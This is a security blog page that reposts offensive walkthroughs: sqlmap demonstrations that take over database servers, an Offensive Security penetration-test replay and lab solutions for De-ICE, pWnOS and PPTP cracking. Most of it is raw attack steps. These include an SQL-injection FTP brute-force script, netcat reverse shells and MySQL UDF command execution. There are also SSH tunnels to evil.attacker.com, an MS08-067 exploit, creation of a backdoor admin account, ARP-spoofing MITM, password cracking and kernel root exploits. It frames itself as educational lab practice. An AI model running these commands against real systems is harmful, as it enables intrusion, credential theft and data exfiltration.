Samiux's Blog

Open Source is a great idea and it has changed the world! Open Source forever ....

While you do not know attack, how can you know about defense? (未知攻,焉知防?)

Do BAD things .... for the RIGHT reasons -- OWASP ZAP

It is easier to port a shell than a shell script. -- Larry Wall

Most of you are familiar with the virtues of a programmer. There are three, of course: laziness, impatience, and hubris. -- Larry Wall

为天地立心，为生民立命，为往圣继绝学，为万世开太平。 -- 王炜

Thursday, September 15, 2011

Official SQLMap video demo series

HOWTO : Offical SQLMap video demonstration 12

Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.

The tool is instructed to identify possible SQL injections, then exploit a database's stored procedure heap-based buffer overflow vulnerability (MS09-004) if it is Microsoft SQL Server 2000 or 2005. sqlmap relies on Metasploit to create the shellcode which gets executed upon successful exploiting of the buffer overflow on the database server and establishes the connection between the user's machine and the database server.

The control is passed over to the Metasploit command line interface where the user can proceed to privilege escalate to SYSTEM by exploiting MS10-015 vulnerability with Meterpreter getsystem command.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mqsql/iis/get_int.asp?id=1 --os-bof -v 1 --msf-path ~/software/metasploit

That's all! See you.

HOWTO : Offical SQLMap video demonstration 11

Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being MySQL 5.1.

The tool is instructed to identify possible SQL injections and exploit them by spawning an out-of-band command prompt session between the user's machine and the database server. When the back-end database is MySQL, ASP and PHP languages do not support stacked queries (ASP.NET does though): there is no way to inject different SQL statements in the same HTTP request.

As a result, sqlmap uploads a web shell in a writable directory within the web server document root and uses it to execute the Metasploit payload stager previously created. The out-of-band command prompt session is now established and the control is passed over to the Metasploit command line interface.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mqsql/get_int.php?id=1 --os-pwn --msf-path /home/inquis/software/metasploit -v 1

That's all! See you.

HOWTO : Offical SQLMap video demonstration 10

Demonstration of sqlmap out-of-band takeover features with Metasploit integration: sqlmap is launched against an ASP.NET test page hosted on a Microsoft Windows 2003 server with back-end database management system being PostgreSQL 8.4.

The tool is instructed to identify possible SQL injections and exploit them by spawning an out-of-band Meterpreter session between the user's machine and the database server then escalating database process' user privileges to SYSTEM. sqlmap first uploads a dynamic-linked library (DLL) used afterwards to create two user-defined functions (sys_exec() and sys_bineval()) in the database.

Then it asks the user for options to create the Metasploit shellcode and executes it in-memory within the database process via the injected sys_bineval() user-defined function.

The out-of-band Meterpreter session is now established and the control is passed over to the Metasploit command line interface where the user can enjoy a SYSTEM shell on the database server.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/iis/get_int_84.aspx?id=1 --os-pwn --msf-path /home/inquis/software/metasploit --priv-esc -v 1

That's all! See you.

HOWTO : Offical SQLMap video demonstration 9

Demonstration of sqlmap command execution features: sqlmap is launched against an ASP.NET test page hosted on a Microsoft Windows 2003 server with back-end database management system being MySQL 5.0.

The tool is instructed to identify possible SQL injections and exploit them by spawning an interactive command prompt where the user can execute commands on the database server operating system. sqlmap first uploads a dynamic-linked library (DLL) used to create two user-defined functions (sys_exec() and sys_eval()) in the database then shows the command prompt.

For each command the user can choose if he wants to retrieve the command standard output or, alternatively, automatically retrieve the output for all commands. If the answer is positive (y or a), sqlmap executes the command once and stores its standard output in a support table.

Either boolean-based blind SQL injection or UNION query SQL injection technique is used to dump the entry of this table and delete it afterwards.

This technique is also implemented for PostgreSQL. On Microsoft SQL Server, xp_cmdshell extended stored procedure is used to execute commands on the underlying operating system.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mysql/iis/get_int_50.aspx?id=1 --os-shell -v 1 --union-use

That's all! See you.

HOWTO : Offical SQLMap video demonstration 8

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : Bernardo

This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

Original link is here.

Demonstration of sqlmap command execution features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.4.

The tool is instructed to identify possible SQL injections and exploit them by executing a command on the database server operating system. sqlmap first uploads a dynamic-linked library (DLL) used to create two user-defined functions (sys_exec() and sys_eval()) in the database. Then it asks the user if he wants to retrieve the command standard output.

If the answer is positive, sqlmap executes the command once and stores its standard output in a support table. Either boolean-based blind SQL injection or UNION query SQL injection technique is used to dump the entry of this table and delete it afterwards. This technique is also implemented for MySQL.

On Microsoft SQL Server, xp_cmdshell extended stored procedure is used to execute commands on the underlying operating system.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int.8.4.php?id=1 --os-cmd "id" -v 1

That's all! See you.

HOWTO : Offical SQLMap video demonstration 7

Demonstration of sqlmap file system write access features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.3.

The tool is instructed to identify possible SQL injections and exploit them by uploading a local file to the database server file system. sqlmap encoded the local file in base64, insert it into a temporary support table then abuses the PostgreSQL Large Object functions to export it to a file on the underlying file system.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1 --write-file /etc/passwd --dest-file /tmp/writetest -v 2

That's all! See you.

HOWTO : Offical SQLMap video demonstration 6

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : Bernardo

This is Bernardo's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

Original link is here.

Demonstration of sqlmap file system read access features: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.

The tool is instructed to identify possible SQL injections and exploit them by retrieving a file from the database server file system. The file is stored locally on the user's machine and can be either a text or a binary file.

The technique used to dump this data from the back-end database software is the default, boolean-based blind SQL injection.

Command

python sqlmap.py -u http://172.16.213.131/mssql/iis/get_int.asp?id=1 --read-file "C:\example.txt" -v 2

That's all! See you.

HOWTO : Offical SQLMap video demonstration 5

Demonstration of sqlmap custom enumeration features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being Oracle 10.2 Enterprise Edition.

The tool is instructed to identify possible SQL injections and exploit them by spawning a SQL shell where it is possible to provide custom SQL statements to be executed on the back-end database management system. sqlmap analyzes the provided SQL statement, decides which technique to use to execute it and proceeds accordingly.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 --sql-shell -v 2

That's all! See you.

HOWTO : Offical SQLMap video demonstration 4

Demonstration of sqlmap in-depth enumeration features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being PostgreSQL 8.4.

The tool is instructed to identify possible SQL injections and exploit them by enumerating and dumping entries of all databases' tables containing one or more of the columns specified by the user. sqlmap always stores dumped entries in a local CSV file upon successful dump.

The technique used to dump this data from the back-end database software is the default, boolean-based blind SQL injection.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --dump -C 'user,pass' -v 1 --exclude-sysdbs

That's all! See you.

HOWTO : Offical SQLMap video demonstration 3

Demonstration of sqlmap options' granularity with verbose output: sqlmap is launched against an ASP test page hosted on a Microsoft Windows 2003 server with back-end database management system being Microsoft SQL Server 2005.

The tool is instructed to identify possible SQL injections and exploit them by dumping only from the second to the third entry of column surname of table users in the database testdb.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther --dump -T users -C surname -D testdb --start 2 --stop 3 -v 2

That's all! See you.

HOWTO : Offical SQLMap video demonstration 2

Demonstration of sqlmap enumeration features with verbose output: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being Oracle 10.2 Enterprise Edition.

The tool is instructed to identify possible SQL injections, check if they are also exploitable via UNION query SQL injection technique, then enumerate the banner and the session user's password hash(es).

The technique used to dump this data from the back-end database software is specified by the user as UNION query SQL injection. If the parameter was not affected by UNION query SQL injection, sqlmap would have fallen back to the default technique, boolean-based blind SQL injection.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/oracle/get_init.php?id=1 -b --passwords -U CU --union-use -v 2

That's all! See you.

HOWTO : Offical SQLMap video demonstration 1

Demonstration of sqlmap database fingerprint and enumeration features: sqlmap is launched against a PHP test page hosted on a Debian GNU/Linux 5.0 server with back-end database management system being MySQL 5.1.

The tool is instructed to identify possible SQL injections and exploit them by extensively fingerprinting the back-end database management system, then enumerate the banner, the session user, the current database, the database's users, users' password hashes and available databases.

The technique used to dump this data from the back-end database software is the default, boolean-based blind SQL injection.

Command

python sqlmap.py -u http://172.16.213.131/sqlmap/mysql/get_init.php?id=1 -f -b --current-user --current-db --users --passwords --dbs -v 0

That's all! See you.

Monday, September 12, 2011

HOWTO : Penetration Testing in the Real World

*** Do NOT attack any computer or network without authorization or you may be put into jail. ***

Credit to : muts (of Offensive Security)

This is muts's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

Penetration Testing in the Real World from Offensive Security on Vimeo.

ftp-brute.py



#!/usr/bin/python

from ftplib import FTP

print "Attempting user Directory Discover via FTP"

for i in range(0,6):



   username=%') and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser LIMIT "+ STR(I)+",1; --  "

   password=str("1")

   ftp=FTP('www.offseclabs.com')

   ftp.login(username,password)

   print "Logged in as user "+str(i)+",1"

   ftp.retrlines('LIST')

   ftp.close()

Commands



Open Terminal A :



nmap -p 21,80 www.offseclabs.com

nc -v www.offseclabs.com 80

HEAD / HTTP/1.0

(To enumerate the webserver)

clear



ftp www.offseclabs.com

username - bob

password - bob

(To enumerate the ftp server)



ftp www.offseclabs.com

username - %') and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser; --  

password - 1



(logged in to the ftp server)

pwd

ls

bye



clear



cd core

clear

nano brute.py --> (see above ftp-brute.py)

./brute.py

(get the fifth user who has mapped to the root directory of webserver)

clear



ftp www.offseclabs.com

username - %') and 1=2 union select 1,1,uid,gid,homedir,shell from ftpuser LIMIT 5,1; --  

password - 1



(logged in as the fifth user)

ls

put rs.php --> (a reverse php shell)



-----------------------

Open Terminal B :



nc -lvp 80



-----------------------

Open Terminal C :



wget www.offseclabs.com/rs.php



(Then, at Terminal B, we got a reverse shell)



-----------------------

Go back to Terminal B :

(inside the reverse shell)



/sbin/ifconfig

pwd

cd /var/www

ls -la

cd includes

cat configure.php

(get the MySQL username and password as well as MySQL server address and database name)



mysqldump -u root -p1q2w3e4r5t6y -h 10.150.0.5 oscommerce > /var/www/images/ccdump.txt



------------------------

Open a Firefox :



www.offseclabs.com/images/ccdump.txt

(we got the database dump)



-------------------------

Go back to Terminal A :



(inside the ftp server)

put up.html --> (file upload html file)

put up.php -- > (file upload php file)



-------------------------

Open Firefox :



www.offseclabs.com/up.html



(upload lib_mysqludf_sys.so and marked it as 1)

(upload rs [a binary reverse shell) and marked it as 2)



** Details of lib_mysqludf_sys.so



---------------------------

Go back to Terminal A :



(quit the ftp server)

bye

clear

exit

(quit Terminal A)



----------------------------

Go back to Terminal B :



mysql -u root -p1q2w3e4r5t6y -h 10.150.0.5

(login to MySQL server)

use pwn;

SELECT imgdata from binfile where title="1" into dumpfile '/usr/lib/lib_mysqludf_sys.so';

SELECT imgdata from binfile where title="2" into dumpfile '/tmp/db';



CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';



SELECT sys_eval('chmod 755 /tmp/bd');

SELECT sys_eval('/tmp/bd &');

(don't press Enter at this moment)



---------------------------

Open Terminal D :



nc -lvp 80



(go back to Terminal B and press enter, you will get reserver shell at Terminal D)



----------------------------

Open Terminal E :



nc -lvp 80



----------------------------

Go back to Terminal B :



(inside the MySQL server)

SELECT sys_eval('/tmp/bd &');



(press enter and we got another reverse shell at Terminal E)



---------------------------

Go back to Terminal E :



(inside the reverse shell)

ping -c 1 10.150.0.20

clear



ssh -l root -t -t -R 445:10.150.0.20:445 evil.attacker.com

(create a remote tunnel at port 445)



-----------------------------

Open Terminal F :



netstat antp

nmap -sS 127.0.0.1 -p445 --script smb-check-vulns.nse



-----------------------------

Go back to Terminal D :



ssh -l root -t -t -R 4444:10.150.0.20:4444 evil.attacker.com

(create a remote tunnel at port 4444)



clear



------------------------------

Go back to Terminal F :



cd core

nano nx.py --> (a ms08-067 python exploit for win2k3 sp2)

clear

./nx.py 127.0.0.1

nc -v 127.0.0.1 4444



(we got a remote shell of 10.150.0.20)

ip config

net user hacker hacker /add

net localgroup administrators hacker /add



---------------------------------

Go back to Terminal D :



(quit the tunnel)

exit

clear



ssh -l root -t -t -R 3389:10.150.0.20:3389 evil.attacker.com

(create another remote tunnel on port 3389)

clear



-----------------------------------

Open Terminal G :



netstat -antp | grep LISTEN

clear

rdesktop 127.0.0.1



(login to the 10.150.0.20 with username - hacker and password - hacker)

That's all! See you.

g0tmi1k's Video Series

HOWTO : Cracking PPTP VPNs with asleap and THC-pptp-bruter

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

The original post at here

Links

Watch on-line
Download Video
Script (chap2asleap.py)

What is this?

A python script, to automatically generate the arguments for Joshua Wright's 'asleap' program.

This video demostrates an offline (asleap) and online (THC-pptp-bruter) attack on MSCHAP v2 software VPN.

How does this work?

From wireshark (and a Man In The Middle attack), you can get "CHAP Challenge" and "CHAP Response". We can break theses values down:

CHAP Challenge = Auth Challenge (16 bytes)
CHAP Response = Peer Challenge (16 bytes) and Peer Response (24 bytes)

After finding "Auth Challenge and Peer Challenge" we can add these to the username and hash (sha1)the result. This will generate the "Challenge".

Once we have the challenge, we can feed this into the asleap, along with CHAP Challenge.

This script does all the work for you (and more), it just needs the values from wireshark for it to work. As well as having the option for different styles of attack, you can either uses a dictionary/wordlist or use 'Genkeys' to generate a look up file for asleap (which is recommended). Also by using this, you can automatically run asleap with your arguments.

What do I need?

asleap
Python
The script - chap2asleap.py
Wireshark
VPN
THC-pptp-bruter

Software
Name: asleap
Version: 2.2
Home Page: http://www.willhackforsushi.com/Asleap.html
Download Link: http://www.willhackforsushi.com/code/asleap/2.2/asleap-2.2.tgz

Name: THC-pptp-bruter
Version: 0.1.4
Home Page: http://freeworld.thc.org
Download Link: http://freeworld.thc.org/download.php?t=r&f=thc-pptp-bruter-0.1.4.tar.gz

Name: chap2asleap.py
Version: 0.1.1
Home Page: http://g0tmi1k.blogspot.com
Download Link: http://www.mediafire.com/?wnkoyiai2ty

How to use chap2asleap.py:
1.) chmod 755 chap2asleap.py
2.) python chap2asleap.py

Commands

echo 1 > /proc/sys/net/ipv4/ip_forward



arpspoof -i eth1 -t 10.0.0.3 10.0.0.9



arpspoof -i eth1 -t 10.0.0.9 10.0.0.3



wireshark -i eth1 -k



python chap2asleap.py

python chap2asleap.py -u g0tmi1k -c 3fb0e397540e8aa3df5eb08b0053092c -r df7661696051401f7192726630558ac200000000000000003c4b7c76ae82dd3050006c53d0bc6012db000acba0c5fec600 -x -v



cd /pentest/passwords/wordlists

cat darkc0de.lst | thc-pptp-bruter -u g0tmi1k -n 99 -l 999 10.0.0.3

That's all! See you.

HOWTO : De-ICE.net v1.0 (1.100) {Level 1 - Disk 1}

nmap -n 192.168.1.1-255



nmap -n -sS -sV -O 192.168.1.100



firefox 192.168.1.100



[+]kate -> make list of possible usernames. Save. Filename: usernames

// lastF, fLast



hydra 192.168.1.100 ssh2 -L /root/usernames -p password -e s



ssh bbanter@192.168.1.100

// "Yes" if quiz about trusting authenticity. Password: bbanter



cd /etc/



cat passwd



[+]kate -> Update usernames. Save.



cat group



exit



cd /root/tools/dictionary/



cat common-1 common-2 common-3 common-4 wordlist.txt >> /root/passwords



hydra 192.168.1.100 ssh2 -V -l aadams -P /root/passwords



ssh aadams@192.168.1.100

// Password: nostradamus



cd /etc/



sudo cat shadow

// Password: nostradamus



[+]kate -> New -> Paste -> Save. Filename: shadow



exit



john



./john --rules --wordlist=/root/passwords --users=root /root/shadow

// Password: tarot



ssh aadams@192.168.1.100

// Password: nostradamus



su

// Password: tarot



ls -a



cd ..



ls -a



cd ftp

/



ls -a



cd incoming/



ls -a



openssl enc -d -aes-128-cbc -in salary_dec2003.csv.enc -out salary.csv -k tarot



cd /etc/



vi vsftpd.conf

// edit (by pressing i) vsftpd.conf to have a '#' in front of 'listen=YES' (last line). Then save it (:w), and exit (:quit)



modprobe capability



exit



exit



ftp 192.168.1.100

// User: root. Password: tarot



ls -a



cd ..



ls -a



cd home



ls -a



cd ftp



ls -a



cd incoming



ls -a



get salary.csv



cd /pentest/passwords/jtr



ls



mv salary.csv ~



[+]kate -> salary.csv



// GAME OVER



----------------------------------------------------------------------------------------------------

Users

root:tarot           = root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::

aadams:nostradamus   = aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::

bbanter:bbanter      = bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::

ccoffee:hierophant   = ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::

----------------------------------------------------------------------------------------------------

Notes

Dictionaries: http://g0tmi1k.blogspot.com/2010/02/site-news-isos-and-dictionaries.html

That's all! See you.

HOWTO : De-ICE.net v1.1 (1.110) {Level 1 - Disk 2}

nmap -n 192.168.1.1-255



nmap -n -sS -sV -O 192.168.1.110



firefox 192.168.1.110



[+]kate -> make list of possible usernames



// lastF, fLast



ftp 192.168.1.110



// Username: anonymous. Password: [Blank]



ls -a



cd download



ls -a



cd etc



ls -a



get core



exit



strings core



[+]Copy from 'root:$...' to '[EOF]'. Kate -> New -> Paste. Format so each username is one its own line -> Save. Filename: shadow



cd tools/dictionary/



cat common-1 common-2 common-3 common-4 wordlist.txt >> /root/passwords



john



./john --rules --wordlist=/root/passwords /root/shadow

//Password: root:Complexity & ccofee:Diatomaceous



ssh ccofee@192.168.1.110

//Password: Diatomaceous



ls -a



cd ..



ls -a



cd root/



ls -a



cd .save/



su

//Password: Complexity



cd .save/



ls -a



cat copy.sh



openssl enc -d -aes-256-cbc -salt -in customer_account.csv.enc -out customer_account.csv -pass file:/etc/ssl/certs/pw



ls -a



cat customer_account.csv

// GAME OVER



----------------------------------------------------------------------------------------------------

Users

root:Complexity      = root:$1$aQo/FOTu$rriwTq.pGmN3OhFe75yd30:13574:0:::::

aadams:              = aadams:$1$klZ09iws$fQDiqXfQXBErilgdRyogn.:13570:0:  99999:7:::

bbanter:Zymurgy      = bbanter:$1$1wY0b2Bt$Q6cLev2TG9eH9iIaTuFKy1:13571:0  :99999:7:::

ccoffee:Diatomaceous = ccoffee:$1$6yf/SuEu$EZ1TWxFMHE0pDXCCMQu70/:13574:0:99999:7:::

----------------------------------------------------------------------------------------------------

Notes

Dictionaries: http://g0tmi1k.blogspot.com/2010/02/site-news-isos-and-dictionaries.html

That's all! See you!

HOWTO : De-ICE.net v2.0 (1.100) {Level 2 - Disk 1}

nmap -n 192.168.2.1-255



nmap -n -sV -sS -O 192.168.2.100



nmap -n -sV -sS -O 192.168.2.101



firefox 192.168.2.100



[+]kate -> list of possible usernames. Save. Filename: usernames.txt



firefox 192.168.2.101



[+]BackTrack -> Vulnerability Identification -> Fuzzers -> JBroFuzz. Web Directories -> List of usernames (+ root, admin)  with '~' infront. -> http://192.168.2.101 -> 80







firefox http://192.168.2.101/~pirrip



[+]kate -> Update usernames with the ones which we got a respond from. Save.



[+]BackTrck -> Web Application Analysis -> Web (frontend) -> nikto2



./nikto.pl -host 192.168.2.101 -r ~pirrip/ -Display 124



firefox http://192.168.2.101/~pirrip/.ssh



// Save both files



mv /root/id_rsa /http://root/.ssh/id_rsa



mv /root/id_rsa.pub /http://root/.ssh/id_rsa.pub



chmod 000 /http://root/.ssh/id_rsa



chmod 000 /http://root/.ssh/id_rsa.pub



ssh pirrip@192.168.2.100

// Yes



mailx

// 3 - we see that havisham passowrd is 'changeme'. 7 - we seen pirrip password is '0l1v3rTw1st'



cd /etc/



vi passwd



// kate -> Update usernames with only valid ones.



vi group



sudo vi shadow

// edit (D, :22,22y, :put, i, root, ESCape, ESCape, d + [->],[up],d d). Save it (:w), exit (:q). Password: 0l1v3rTw1st



su

// Password: 0l1v3rTw1st



cd /root/



ls -a



cd .save/



ls -a



chmod -R 777 /root/



//In BackTrack//



scp pirrip@192.168.2.100:/root/.save/great_expectations.zip /root/



unzip great_expectations.zip



tar xf great_expectations.tar



strings Jan08



//In SSH//

sudo iv /var/mail/havisham



modprobe capability



//In BackTrack//

ftp 192.168.2.100

// Usrename: pirri. Password: 0l1v3rTw1st //



ls -a



//In SSH//



exit





//In BackTrack//



[+]Firefox -> Send a REAL email to: philip.pirrip.ge@gmail.com

// GAME OVER



----------------------------------------------------------------------------------------------------

Users

root:P1ckw1ckP@p3rs     root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::

havisham:changeme       havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::

pirrip:0l1v3rTw1st      pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::

magwitch:               magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::

----------------------------------------------------------------------------------------------------

Notes

Dictionaries : http://g0tmi1k.blogspot.com/2010/02/site-news-isos-and-dictionaries.html

That's all! See you.

Sunday, September 11, 2011

HOWTO : pWnOS

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

The original post at here

Links

Watch video on-line
Download video

What is this?

This is my walk though of how I broke into pWnOS v1.

pWnOS is on a "VM Image", that creates a target on which to practice penetration testing; with the "end goal" is to get root. It was designed to practice using exploits, with multiple entry points

Scenario

A company dedicated to serving Webhosting hires you to perform a penetration test on one of its servers dedicated to the administration of their systems.

It's a linux virtual machine intentionally configured with exploitable services to provide you with a path to r00t.

What do I need?

BackTrack 4 (Final)
pWnOS.vmdk
exploit-db.com or milw0rm.

Software
Name: pWnOS
Version: 1
Home Page: http://0dayclub.com/files/pWnOS%20v1.0.zip

Download Link:

http://www.mediafire.com/file/ec3hmlzuyzy/pWnOS v1.0.part1.rar
http://www.mediafire.com/file/yngwzqkxmin/pWnOS v1.0.part2.rar
http://www.mediafire.com/file/htmqm3dzgya/pWnOS v1.0.part3.rar

http://www.0dayclub.com/public/index...nOS%20v1.0.zip
http://krash.in/bond00/new/pWnOS%20v1.0.zip
http://0dayclub.com/files/pWnOS%20v1.0.zip

Forum/Support: http://forums.heorot.net/viewforum.php?f=21

Commands

nmap 192.168.3.1-255



nmap -sV -sS -O 192.168.3.100



firefox http://192.168.3.100



firefox http://192.168.3.100:10000





firefox -> milw0rm/explo.it -> search "Webmin" -> save. Filename: webmin.pl/php

*Webmin <> save. Filename: shadow



firefox -> milw0rm/explo.it -> search "Debian OpenSSL" -> save. Filename: ssh.py/rb

*Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit*

http://milw0rm.com/exploits/5622        (perl)

http://milw0rm.com/exploits/5720        (python)

http://milw0rm.com/exploits/5632        (ruby)

http://www.exploit-db.com/exploits/5622 (perl)

http://www.exploit-db.com/exploits/5720 (python)

http://www.exploit-db.com/exploits/5632 (ruby)



wget http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2



perl webmin.pl 192.168.3.100 10000 /home/vmware/.ssh/authorized_keys

perl webmin.pl 192.168.3.100 10000 /home/obama/.ssh/authorized_keys

perl webmin.pl 192.168.3.100 10000 /home/osama/.ssh/authorized_keys

perl webmin.pl 192.168.3.100 10000 /home/yomama/.ssh/authorized_keys



tar jxvf debian_ssh_rsa_2048_x86.tar.bz



cd rsa/2048



grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw rsa/2048/*.pub

grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ rsa/2048/*.pub

*scans for the public key...*



ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.3.100

exit



ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 vmware@192.168.3.100

hostname

uname -a



firefox -> milw0rm/explo.it -> search "Linux Kernel 2.6" -> save. Filename: vmsplice.c

*Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit*

http://milw0rm.com/exploits/5092         (c)

http://www.exploit-db.com/exploits/5092  (c)



nano vmsplice.c



gcc vmsplice.c -o vmsplice



./vmsplice



whoami



----------------------------------------------------------------------------------------------------

Users

root:          root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::

vmware:        vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::

obama:         obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::

osama:         osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::

yomama:        yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

----------------------------------------------------------------------------------------------------

Notes

I had problems with the Debian OpenSSH/OpenSSL exploit, some times it would work, else it would be really slow or just cant find the correct exploit file. The method which I use, turns it into a offline attack, which makes it more stealthy as it will not log failed logins (e.g. /var/auth/auth.log. See here for reading it). It relies on the default path tho!

This is one method of getting in, the author did say that there is multiple ways in!

It took me a bit of work to also to get it to work with virtual box & static IP addresses.

That's all! See you.